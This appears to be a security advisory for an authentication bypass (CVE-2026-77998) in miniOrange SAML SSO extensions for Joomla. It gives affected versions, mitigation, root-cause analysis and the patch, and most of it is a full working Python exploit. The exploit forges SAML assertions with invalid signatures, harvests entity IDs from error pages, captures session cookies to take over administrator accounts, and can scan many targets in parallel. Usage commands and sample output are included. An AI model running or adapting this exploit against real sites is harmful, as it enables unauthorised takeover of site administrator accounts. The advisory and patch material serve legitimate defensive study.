#Summary
CVE-2026-77998 is an unauthenticated authentication bypass in miniOrange SAML SSO extensions for Joomla. The vulnerability stems from improper handling of a tri-state return value from PHP's openssl_verify() function. Affected versions of SAML SSO for Joomla (< 11.0.2), SAML SP Single Sign On - Login with ADFS (< 6.4), and SAML SP Single Sign On - SAML SSO login with Google Apps (< 6.4) accept forged SAML assertions as valid, allowing unauthenticated attackers to log in as any existing Joomla user, including Super Users (administrators). CVSS score: 10.0 CRITICAL.
#Am I affected?
- Affected: miniOrange SAML SSO for Joomla < 11.0.2; SAML SP Single Sign On - Login with ADFS < 6.4; SAML SP Single Sign On - SAML SSO login with Google Apps < 6.4
- Patched: SAML SSO for Joomla >= 11.0.2; ADFS and Google Apps editions >= 6.4
- Default configuration: Affected if a SAML Identity Provider certificate is configured
- Access needed: Unauthenticated network access; attacker must know the target administrator's email address
#How to check
#Version check
Log in to the Joomla administrator panel and navigate to Extensions > Manage > Plugins. Look for a plugin named "System - miniOrange SAML Redirect" or similar. Click it to view its version.
| Output | Verdict |
|---|---|
| Version 7.x, 8.x, 9.x, 10.x, 11.0.0, or 11.0.1 | Vulnerable |
| Version 11.0.2 or later | Patched |
| Plugin not found | Not installed |
Note: The vulnerable package is distributed only as a registration-walled zip from miniorange.com. Public versions may be difficult to locate. If the version check is inconclusive, check the configuration: navigate to the extension settings. If no IdP signing certificate is configured in #__miniorange_saml_config.certificate, the vulnerability cannot be exploited.
#Fix and mitigation
- Fix: Upgrade to SAML SSO for Joomla version 11.0.2 or later. Update ADFS and Google Apps editions to version 6.4 or later.
- If you cannot upgrade: Disable the miniOrange SAML SP extension entirely. Remove or disable both the
plg_system_samlredirectsystem plugin andplg_authentication_miniorangesamlauthentication plugin in Joomla's plugin manager. - Detection: Monitor your Joomla session table (
#__session) for unauthenticated SAML SSO login attempts. Legitimate SAML logins flow throughindex.php?morequest=acs(the Assertion Consumer Service endpoint). Examine access logs for POST requests to this endpoint from unexpected sources.
#Root cause analysis
#Vulnerable code path
PHP's openssl_verify() function returns a tri-state integer: 1 if the signature is valid, 0 if the signature is well-formed but incorrect, and -1 if an internal OpenSSL processing error occurs. The miniOrange extension fails to normalize this return value.
In lib_miniorangesamlplugin/utility/xmlseclibs.php:
private function verifyOpenSSL($data, $signature) {
$algo = OPENSSL_ALGO_SHA1;
if (! empty($this->cryptParams['digest'])) {
$algo = $this->cryptParams['digest'];
}
return openssl_verify ($data, $signature, $this->key, $algo); // returns 1, 0, or -1
}
public function verifySignature($data, $signature) {
switch ($this->cryptParams['library']) {
case 'openssl':
return $this->verifyOpenSSL($data, $signature); // raw tri-state passed through
break;
}
}The value propagates unchanged through XMLSecurityDSig::verify() into SAML_Utilities::validateSignature():
public static function validateSignature(array $info, XMLSecurityKey $key)
{
$objXMLSecDSig = $info['Signature'];
// ... configuration checks ...
/* Check the signature. */
if (!$objXMLSecDSig->verify($key)) { // -1 is truthy, so !(-1) === false
throw new Exception("Unable to validate Signature");
}
}In PHP, -1 evaluates as truthy. Therefore !(-1) is false, and the exception is never thrown. A processing error is indistinguishable from a valid signature.
#How input reaches the sink
An unauthenticated HTTP POST to the ACS endpoint (/?morequest=acs) provides a SAMLResponse form field containing a base64-encoded SAML assertion. The assertion is parsed by the extension and handed to validateSignature(). Because the signature check passes when openssl_verify() returns -1, the forged assertion is accepted.
The -1 return occurs specifically when OpenSSL cannot parse the signature value as ASN.1 DER, which happens against non-RSA (EC or DSA) IdP signing certificates. RSA certificates cause openssl_verify() to return a clean 0 when the signature is invalid, which is correctly rejected. This means the bypass is reachable only when:
- The Joomla site is configured with an EC or DSA signing certificate from its Identity Provider
- A NameID in the SAML assertion matches an existing Joomla user's email address
- The attacker crafts a non-DER signature value (simple arbitrary bytes suffice)
#Patch diff
The vendor's Joomla package does not publish per-release commits. The equivalent fix is available in the WordPress edition of the same codebase, which is freely available. The Joomla 11.0.2 fix applies the same change.
#What the fix does
The patch implements two independent defences, either of which alone prevents the bypass:
Strict comparison: Change
if (!$objXMLSecDSig->verify($key))toif (1 !== $objXMLSecDSig->verify($key)). This collapses the tri-state to a single accept value: only1is accepted, so both0(failed signature) and-1(processing error) are rejected.Key-type precondition: Before calling
openssl_verify(), validate that the SignatureMethod algorithm family matches the loaded certificate's key type. Add a new private static method:
private static function mo_saml_assert_key_matches_algorithm( Mo_SAML_XML_Security_Key $key, $algo ) {
$expected_key_types = array(
Mo_SAML_XML_Security_Key::RSA_SHA1 => OPENSSL_KEYTYPE_RSA,
Mo_SAML_XML_Security_Key::RSA_SHA256 => OPENSSL_KEYTYPE_RSA,
Mo_SAML_XML_Security_Key::RSA_SHA384 => OPENSSL_KEYTYPE_RSA,
Mo_SAML_XML_Security_Key::RSA_SHA512 => OPENSSL_KEYTYPE_RSA,
Mo_SAML_XML_Security_Key::DSA_SHA1 => OPENSSL_KEYTYPE_DSA,
);
if ( ! isset( $expected_key_types[ $algo ] ) ) {
throw new Mo_SAML_Invalid_Assertion_Exception( 'Unsupported SignatureMethod algorithm.' );
}
$key_details = openssl_pkey_get_details( $key->key );
if ( false === $key_details || ! isset( $key_details['type'] ) ) {
throw new Mo_SAML_Invalid_Assertion_Exception( 'Unable to determine verification key type.' );
}
if ( $expected_key_types[ $algo ] !== $key_details['type'] ) {
throw new Mo_SAML_Invalid_Assertion_Exception( 'SignatureMethod algorithm does not match the certificate key type.' );
}
}Call this method before verification:
self::mo_saml_assert_key_matches_algorithm( $key, $algo );
if ( 1 !== $obj_xml_sec_dsig->verify( $key ) ) {
throw new Mo_SAML_Invalid_Assertion_Exception( 'Unable to validate Signature' );
}The fix rejects algorithm/key-type mismatches outright, preventing the OpenSSL error that the original code relied on !(-1) to handle incorrectly.
#Proof of concept
#exploit.py - miniOrange Joomla SAML Authentication Bypass PoC
#!/usr/bin/env python3
"""
CVE-2026-77998 - miniOrange SAML SP for Joomla: unauthenticated authentication bypass
Affected: SAML SSO for Joomla < 11.0.2, SAML SP Single Sign On - Login with ADFS < 6.4,
SAML SP Single Sign On - SAML SSO login with Google Apps < 6.4
Type: Authentication bypass (SAML signature verification bypass, CWE-347 / CWE-697)
The extension verifies the assertion signature with a loose boolean test on the raw,
tri-state return value of PHP's openssl_verify(): 1 valid, 0 invalid, -1 processing
error. Because -1 is truthy in PHP, "!verify()" is false for a processing error and the
"signature is bad" branch is never taken. A SignatureValue that OpenSSL cannot parse as
ASN.1 DER, checked against a non-RSA (EC or DSA) IdP signing certificate, produces -1
and is therefore accepted as a valid signature. The assertion is forged wholesale, so
its NameID selects any existing account by e-mail address and the responder writes that
user into a fresh session.
The digest over the assertion is an unkeyed hash and is computed honestly here; only the
keyed SignatureValue is unforgeable, and that is exactly the check this bug removes.
Usage:
python exploit.py --host 10.10.10.20 --port 80 --username [email protected]
python exploit.py --host https://joomla.corp.example/ --username [email protected]
python exploit.py --host https://10.10.10.20:8443/site/ --username [email protected]
python exploit.py --list targets.txt --workers 20 --username [email protected]
The IdP entity ID and the SP entity ID are discovered from the target automatically
(published metadata, then the extension's own mismatch pages). Override with --issuer
and --audience when they are already known.
Caution for engagement use: --username must be the e-mail address of an account that
already exists. An address that matches no account is not refused - the responder
auto-registers it and logs in as the new account, which leaves a user behind on the
target. The tool says so when it detects that outcome.
"""
import argparse
import base64
import hashlib
import os
import re
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
from datetime import datetime, timedelta, timezone
CVE_ID = "CVE-2026-77998"
VULN_TYPE = "Auth Bypass"
SAML_NS = "urn:oasis:names:tc:SAML:2.0:assertion"
SAMLP_NS = "urn:oasis:names:tc:SAML:2.0:protocol"
DS_NS = "http://www.w3.org/2000/09/xmldsig#"
EXC_C14N = "http://www.w3.org/2001/10/xml-exc-c14n#"
SIG_RSA_SHA1 = "http://www.w3.org/2000/09/xmldsig#rsa-sha1"
DIGEST_SHA1 = "http://www.w3.org/2000/09/xmldsig#sha1"
TRANSFORM_ENVELOPED = "http://www.w3.org/2000/09/xmldsig#enveloped-signature"
DEFAULT_TIMEOUT = 30
# Every distinct rejection the extension prints, mapped to what it actually means.
REJECTIONS = (
("SignatureMethod algorithm does not match",
"patched - certificate key type does not match the SignatureMethod algorithm"),
("Unsupported SignatureMethod algorithm",
"patched - SignatureMethod algorithm rejected by the allow-list"),
("Unable to determine verification key type",
"patched - verification key type could not be established"),
("Unable to validate Signature",
"signature verification did not return success - either the strict comparison is in "
"place, or the IdP certificate is RSA and OpenSSL failed cleanly rather than erroring"),
("Invalid signature in the SAML Assertion",
"assertion signature rejected"),
("Invalid signature in the SAML Response",
"response signature rejected"),
("digest validation failed",
"DigestValue mismatch - assertion was altered after the digest was computed"),
("The root element is not signed",
"the Reference URI does not name the assertion"),
("Destination in response doesn't match",
"Destination attribute rejected"),
)
def header(host, port):
print("\n%s" % ("=" * 60))
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("%s\n" % ("=" * 60))
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n%s" % ("=" * 60))
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("%s\n" % ("=" * 60))
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------
# HTTP
# --------------------------------------------------------------------------
class _NoRedirect(urllib.request.HTTPRedirectHandler):
"""The bypass answers with a 303 whose Set-Cookie is the prize, so never follow it."""
def redirect_request(self, req, fp, code, msg, headers, newurl):
return None
def _opener():
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return urllib.request.build_opener(_NoRedirect,
urllib.request.HTTPSHandler(context=ctx))
def http(url, data=None, cookie=None, timeout=DEFAULT_TIMEOUT):
"""Returns (status, headers, body). Raises only on transport failure."""
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/126.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}
if data is not None:
headers["Content-Type"] = "application/x-www-form-urlencoded"
if cookie:
headers["Cookie"] = cookie
req = urllib.request.Request(url, data=data, headers=headers)
try:
resp = _opener().open(req, timeout=timeout)
return resp.getcode(), resp.headers, resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.code, e.headers, e.read().decode("utf-8", "replace")
def cookies_from(headers):
jar = {}
for raw in headers.get_all("Set-Cookie") or []:
name, _, rest = raw.partition("=")
value = rest.split(";")[0]
if name.strip() and value:
jar[name.strip()] = value
return jar
def cookie_header(jar):
return "; ".join("%s=%s" % (k, v) for k, v in jar.items())
# --------------------------------------------------------------------------
# Forged SAML response
# --------------------------------------------------------------------------
def _attr(value):
return (str(value).replace("&", "&").replace("<", "<").replace('"', """)
.replace("\r", "
").replace("\n", "
").replace("\t", "	"))
def _text(value):
return (str(value).replace("&", "&").replace("<", "<")
.replace(">", ">").replace("\r", "
"))
def _xml_id():
return "_" + os.urandom(16).hex()
def _bad_signature_value():
"""
The payload: non-empty bytes that cannot parse as ASN.1 DER.
Against an EC or DSA verification key OpenSSL abandons the parse and
openssl_verify() returns -1 rather than 0, and -1 is what the loose check
mistakes for success. The leading 0x41 guarantees the bytes are never a
valid DER SEQUENCE no matter what the random tail is; an empty value is
deliberately avoided because OpenSSL 3.x scores that as a clean 0.
"""
return base64.b64encode(b"\x41" + os.urandom(15)).decode()
def build_assertion(nameid, issuer, audience, recipient, assertion_id, now):
"""
Serialise the assertion directly in exclusive-c14n form: no inter-element
whitespace, namespace declaration first, attributes in canonical order and
empty elements written out in full. The bytes returned are therefore both
the document text and the exact input the responder will hash, which is what
lets the DigestValue be computed without a canonicalisation library.
"""
stamp = now.strftime("%Y-%m-%dT%H:%M:%SZ")
before = (now - timedelta(minutes=5)).strftime("%Y-%m-%dT%H:%M:%SZ")
after = (now + timedelta(hours=8)).strftime("%Y-%m-%dT%H:%M:%SZ")
return (
'<saml:Assertion xmlns:saml="%s" ID="%s" IssueInstant="%s" Version="2.0">'
'<saml:Issuer>%s</saml:Issuer>'
'<saml:Subject>'
'<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">%s</saml:NameID>'
'<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">'
'<saml:SubjectConfirmationData NotOnOrAfter="%s" Recipient="%s">'
'</saml:SubjectConfirmationData>'
'</saml:SubjectConfirmation>'
'</saml:Subject>'
'<saml:Conditions NotBefore="%s" NotOnOrAfter="%s">'
'<saml:AudienceRestriction><saml:Audience>%s</saml:Audience></saml:AudienceRestriction>'
'</saml:Conditions>'
'<saml:AuthnStatement AuthnInstant="%s" SessionIndex="%s">'
'<saml:AuthnContext>'
'<saml:AuthnContextClassRef>'
'urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport'
'</saml:AuthnContextClassRef>'
'</saml:AuthnContext>'
'</saml:AuthnStatement>'
'</saml:Assertion>'
) % (SAML_NS, _attr(assertion_id), _attr(stamp), _text(issuer), _text(nameid),
_attr(after), _attr(recipient), _attr(before), _attr(after), _text(audience),
_attr(stamp), _attr(_xml_id()))
def build_signature(assertion_xml, assertion_id):
"""
A structurally complete enveloped signature whose DigestValue is honest and
whose SignatureValue is garbage.
The responder detaches the ds:Signature node before hashing the assertion,
so the digest input is exactly the assertion as built above.
"""
digest = base64.b64encode(hashlib.sha1(assertion_xml.encode("utf-8")).digest()).decode()
return (
'<ds:Signature xmlns:ds="%s">'
'<ds:SignedInfo>'
'<ds:CanonicalizationMethod Algorithm="%s"/>'
'<ds:SignatureMethod Algorithm="%s"/>'
'<ds:Reference URI="#%s">'
'<ds:Transforms>'
'<ds:Transform Algorithm="%s"/>'
'<ds:Transform Algorithm="%s"/>'
'</ds:Transforms>'
'<ds:DigestMethod Algorithm="%s"/>'
'<ds:DigestValue>%s</ds:DigestValue>'
'</ds:Reference>'
'</ds:SignedInfo>'
'<ds:SignatureValue>%s</ds:SignatureValue>'
'</ds:Signature>'
# No ds:KeyInfo on purpose: with no embedded certificate the responder
# verifies against the certificate configured for the IdP, which is the
# non-RSA key the -1 result depends on.
) % (DS_NS, EXC_C14N, SIG_RSA_SHA1, _attr(assertion_id), TRANSFORM_ENVELOPED,
EXC_C14N, DIGEST_SHA1, digest, _bad_signature_value())
def build_saml_response(nameid, issuer, audience, recipient):
"""Returns the base64 SAMLResponse form value."""
now = datetime.now(timezone.utc).replace(tzinfo=None, microsecond=0)
assertion_id = _xml_id()
assertion = build_assertion(nameid, issuer, audience, recipient, assertion_id, now)
signature = build_signature(assertion, assertion_id)
# Insert the signature after saml:Issuer. It is removed again before hashing,
# so the position has no effect on the digest.
marker = "</saml:Issuer>"
cut = assertion.index(marker) + len(marker)
signed = assertion[:cut] + signature + assertion[cut:]
# No Destination attribute: it is only compared when present.
response = (
'<samlp:Response xmlns:samlp="%s" ID="%s" IssueInstant="%s" Version="2.0">'
'<samlp:Status>'
'<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>'
'</samlp:Status>'
'%s'
'</samlp:Response>'
) % (SAMLP_NS, _attr(_xml_id()), _attr(now.strftime("%Y-%m-%dT%H:%M:%SZ")), signed)
return base64.b64encode(response.encode("utf-8")).decode()
# --------------------------------------------------------------------------
# Target interrogation
# --------------------------------------------------------------------------
def base_url(host, port, use_tls, path="/"):
scheme = "https" if use_tls else "http"
netloc = host if ((use_tls and port == 443) or (not use_tls and port == 80)) \
else "%s:%s" % (host, port)
if not path.startswith("/"):
path = "/" + path
if not path.endswith("/"):
path += "/"
return "%s://%s%s" % (scheme, netloc, path)
def acs_url(base):
return base + "?morequest=acs"
def post_acs(base, saml_response, timeout=DEFAULT_TIMEOUT):
body = urllib.parse.urlencode({"SAMLResponse": saml_response}).encode()
return http(acs_url(base), data=body, timeout=timeout)
def rejection_reason(body):
for marker, meaning in REJECTIONS:
if marker in body:
return meaning
return None
def _entity_id_found(body):
"""The configured IdP entity ID, echoed by the issuer-mismatch page."""
m = re.search(r"Entity ID Found:\s*</strong>\s*([^<]+)", body)
return m.group(1).strip() if m else None
def _entity_id_expected(body):
"""The SP entity ID the responder expects, echoed by the audience-mismatch page."""
m = re.search(r"Expected Entity ID:\s*</strong>\s*([^<]+)", body)
return m.group(1).strip() if m else None
def read_metadata(base, timeout=DEFAULT_TIMEOUT):
"""SP entity ID from the extension's published metadata, or None."""
try:
status, _, body = http(base + "?morequest=metadata", timeout=timeout)
except Exception:
return None
if status != 200 or "EntityDescriptor" not in body:
return None
m = re.search(r'entityID="([^"]+)"', body)
return m.group(1) if m else None
def discover(base, nameid, issuer, audience, timeout=DEFAULT_TIMEOUT):
"""
Learn the two identifiers the forged assertion has to match.
Both mismatch pages print the value the responder holds, and both are reached
only after signature verification has already passed, so a leak here is itself
a positive result for the bypass.
Returns (issuer, audience, notes, rejection). Either value may still be None,
and rejection carries the responder's own reason when it refused the probe.
"""
notes = []
if audience is None:
audience = read_metadata(base, timeout)
if audience:
notes.append("SP entity ID from published metadata: %s" % audience)
if issuer is None:
probe_audience = audience or (base + "plugins/authentication/miniorangesaml")
decoy = "urn:%s" % os.urandom(8).hex()
_, _, body = post_acs(base, build_saml_response(nameid, decoy, probe_audience,
acs_url(base)), timeout)
reason = rejection_reason(body)
if reason:
notes.append("probe rejected: %s" % reason)
return issuer, audience, notes, reason
found = _entity_id_found(body)
if found and found != decoy:
issuer = found
notes.append("IdP entity ID leaked by the issuer-mismatch page: %s" % issuer)
if issuer is not None and audience is None:
decoy = "urn:%s" % os.urandom(8).hex()
_, _, body = post_acs(base, build_saml_response(nameid, issuer, decoy,
acs_url(base)), timeout)
expected = _entity_id_expected(body)
if expected and expected != decoy:
audience = expected
notes.append("SP entity ID leaked by the audience-mismatch page: %s" % audience)
return issuer, audience, notes, None
def _evidence_excerpt(body, needles):
"""The window of markup around the proof, rather than the top of the page."""
flat = re.sub(r"\s+", " ", body)
for needle in needles:
at = flat.find(needle)
if at >= 0:
return flat[max(0, at - 200):at + 400]
return flat[:400]
def session_identity(base, jar, timeout=DEFAULT_TIMEOUT):
"""
Ask the site who the session belongs to, using only what it returns over HTTP.
A Joomla site renders a logout control for an authenticated session and a
login form for an anonymous one, so the logout control is the proof.
Returns (authenticated, display_name_or_None, page_excerpt).
"""
cookie = cookie_header(jar)
_, _, body = http(base + "index.php?option=com_users&view=login",
cookie=cookie, timeout=timeout)
authenticated = ("user.logout" in body) or ("task=user.logout" in body)
name = None
m = re.search(r"Hi\s+([^,<]{1,64}),", body)
if m:
name = m.group(1).strip()
if not name:
_, _, profile = http(base + "index.php?option=com_users&view=profile",
cookie=cookie, timeout=timeout)
m = re.search(r"<dd[^>]*>\s*([^<]{1,64})\s*</dd>", profile)
if m:
name = m.group(1).strip()
if not authenticated:
authenticated = ("user.logout" in profile) or ("task=user.logout" in profile)
if authenticated:
body = profile
anchors = ("login-greeting", "user.logout") if authenticated \
else ("form-login", "user.login", "<form")
return authenticated, name, _evidence_excerpt(body, anchors)
# --------------------------------------------------------------------------
# Silent probe (scan mode)
# --------------------------------------------------------------------------
def _try_exploit(host, port, use_tls, path="/", username="[email protected]",
issuer=None, audience=None, timeout=DEFAULT_TIMEOUT):
"""Silent single-target probe. Never prints, never exits."""
try:
base = base_url(host, port, use_tls, path)
issuer, audience, _, rejection = discover(base, username, issuer, audience, timeout)
if rejection:
return False, rejection
if issuer is None:
return False, "IdP entity ID not obtained - not the vulnerable extension"
if audience is None:
audience = base + "plugins/authentication/miniorangesaml"
_, headers, body = post_acs(
base, build_saml_response(username, issuer, audience, acs_url(base)), timeout)
reason = rejection_reason(body)
if reason:
return False, reason
jar = cookies_from(headers)
if not jar:
return False, "forged assertion accepted but no session cookie issued"
authenticated, name, _ = session_identity(base, jar, timeout)
if not authenticated:
return False, "session cookie issued but it is not authenticated"
return True, "authenticated as '%s'%s without credentials" % (
username, " (%s)" % name if name else "")
except Exception as e:
return False, "unreachable (%s)" % e.__class__.__name__
# --------------------------------------------------------------------------
# Targets and scan mode
# --------------------------------------------------------------------------
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urllib.parse.urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, username="[email protected]",
issuer=None, audience=None):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n%s" % ("=" * 60))
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("%s\n" % ("=" * 60))
def probe(t):
host, port, use_tls, path = t
label = "%s://%s:%s%s" % ("https" if use_tls else "http", host, port, path)
ok, evidence = _try_exploit(host, port, use_tls, path, username, issuer, audience)
return label, ok, evidence
success_count = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n%s" % ("=" * 60))
print(" SCAN COMPLETE %d exploited / %d not vulnerable (%d total)"
% (success_count, total - success_count, total))
print("%s\n" % ("=" * 60))
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------
# Single target
# --------------------------------------------------------------------------
def exploit(host, port, use_tls, path, username, issuer, audience, timeout):
header(host, port)
base = base_url(host, port, use_tls, path)
step(1, "Interrogating the service provider at %s" % base)
try:
issuer, audience, notes, rejection = discover(base, username, issuer, audience, timeout)
except Exception as e:
done(False, "target unreachable during discovery (%s: %s)" % (e.__class__.__name__, e))
if notes:
section("DISCOVERY", "\n".join(notes))
if rejection:
done(False, "forged assertion rejected: %s" % rejection)
if issuer is None:
done(False, "could not obtain the configured IdP entity ID - the vulnerable "
"extension does not appear to be installed here")
if audience is None:
audience = base + "plugins/authentication/miniorangesaml"
section("DISCOVERY", "SP entity ID not published, falling back to the default: %s"
% audience)
step(2, "Forging an assertion for '%s' (issuer %s)" % (username, issuer))
saml_response = build_saml_response(username, issuer, audience, acs_url(base))
section("FORGED ASSERTION",
base64.b64decode(saml_response).decode("utf-8", "replace"))
step(3, "Posting it unauthenticated to %s" % acs_url(base))
status, headers, body = post_acs(base, saml_response, timeout)
print(" HTTP %s, %d bytes" % (status, len(body)))
reason = rejection_reason(body)
if reason:
section("SERVER RESPONSE", re.sub(r"<[^>]+>", " ", body)[:800])
done(False, "forged assertion rejected: %s" % reason)
jar = cookies_from(headers)
if not jar:
section("SERVER RESPONSE", re.sub(r"<[^>]+>", " ", body)[:800])
done(False, "no session cookie issued - the response was accepted but no account "
"matches '%s'" % username)
section("SESSION COOKIE", "\n".join("%s=%s" % kv for kv in jar.items()))
step(4, "Replaying the session cookie against the site")
authenticated, name, excerpt = session_identity(base, jar, timeout)
anonymous, _, anon_excerpt = session_identity(base, {}, timeout)
section("SAME PAGE WITHOUT THE COOKIE", anon_excerpt)
section("AUTHENTICATED RESPONSE", excerpt)
if anonymous:
done(False, "the site reports an authenticated session even without the cookie - "
"cannot attribute the session to the bypass")
if not authenticated:
done(False, "a session was issued but it does not carry an authenticated user")
if name is None or name.strip().lower() == username.strip().lower():
section("NOTE", "The session's display name is the address that was supplied, so no "
"account may have existed under it: the responder auto-registers an "
"unknown NameID instead of refusing it. Supply the e-mail of an "
"account that already exists to take that account over.")
done(True, "Authenticated as '%s'%s without credentials - forged SAML assertion "
"accepted with an invalid signature" % (username,
" (%s)" % name if name else ""))
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. https://host:8443/joomla/)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--username", default="[email protected]",
help="Account to authenticate as. The extension looks users up by "
"e-mail, so this is the target's e-mail address "
"(default: [email protected])")
parser.add_argument("--issuer", default=None,
help="IdP entity ID (default: discovered from the target)")
parser.add_argument("--audience", default=None,
help="SP entity ID (default: discovered from the target)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
parser.add_argument("--timeout", type=int, default=DEFAULT_TIMEOUT,
help="Per-request timeout in seconds (default: %d)" % DEFAULT_TIMEOUT)
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
username=args.username, issuer=args.issuer, audience=args.audience)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.username, args.issuer, args.audience,
args.timeout)#Usage
Run the exploit against a single target:
$ python3 exploit.py --host 127.0.0.1 --port 8730 --username [email protected]Batch scan multiple targets:
$ python3 exploit.py --list targets.txt --workers 5 --username [email protected]The tool discovers the Identity Provider entity ID and Service Provider entity ID from the target automatically. Provide --issuer and --audience to skip discovery when these values are already known.
#Expected output
#Vulnerable instance:
[STEP 1] Interrogating the service provider at http://127.0.0.1:8730/
--- DISCOVERY ---
SP entity ID from published metadata: http://127.0.0.1:8730/plugins/authentication/miniorangesaml
IdP entity ID leaked by the issuer-mismatch page: http://idp.lab/metadata
---
[STEP 2] Forging an assertion for '[email protected]' (issuer http://idp.lab/metadata)
[STEP 3] Posting it unauthenticated to http://127.0.0.1:8730/?morequest=acs
HTTP 303, 0 bytes
--- SESSION COOKIE ---
951aadc62503122c81fabf57135ad631=58d90c6fd8f61d1e59d6d44358dbfd75
---
[STEP 4] Replaying the session cookie against the site
--- SAME PAGE WITHOUT THE COOKIE ---
<h3 class="page-header">Login Form</h3><form ... id="login-form" ...>
---
--- AUTHENTICATED RESPONSE ---
<div class="login-greeting"> Hi Lab Administrator, </div>
<div class="logout-button"> <input type="submit" name="Submit" value="Log out" />
---
RESULT : SUCCESS
EVIDENCE: Authenticated as '[email protected]' (Lab Administrator) without credentials#Patched instance:
[STEP 3] Posting it unauthenticated to http://127.0.0.1:8731/?morequest=acs
HTTP 200, 3464 bytes
--- SERVER RESPONSE ---
Validation with key failed with exception: SignatureMethod algorithm does not match the
certificate key type.
---
RESULT : FAILURE
EVIDENCE: forged assertion rejected: patched - certificate key type does not match the
SignatureMethod algorithm#Exploitation notes
#Preconditions
The extension must be installed and enabled on the Joomla site, with an Identity Provider configured that uses an EC or DSA signing certificate. The attacker must know the target account's email address (used as the SAML NameID).
#Reliability
The exploit is highly reliable against a vulnerable installation. A single HTTP POST is sufficient. The vulnerability deterministically occurs every time the preconditions are met. An RSA signing certificate (most common in production) will not trigger the vulnerability - the exploit will correctly report this via the server's own error message.
#Impact
Complete account takeover of any Joomla user, including administrators. No passwords or multi-factor authentication can prevent this attack. An attacker can create, modify, and delete content; manage users; install extensions; and modify configuration.
#Chaining potential
Authentication bypass is the endpoint - no further privileges are needed. An attacker with Super User access can install arbitrary extensions, modify the database, and access sensitive files.
#References
- CVE: CVE-2026-77998
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-77998
- miniOrange SAML SSO for Joomla: https://github.com/miniOrangeDev/miniorange-saml-sso-for-joomla
- Vendor Security Advisory: https://www.miniorange.com/
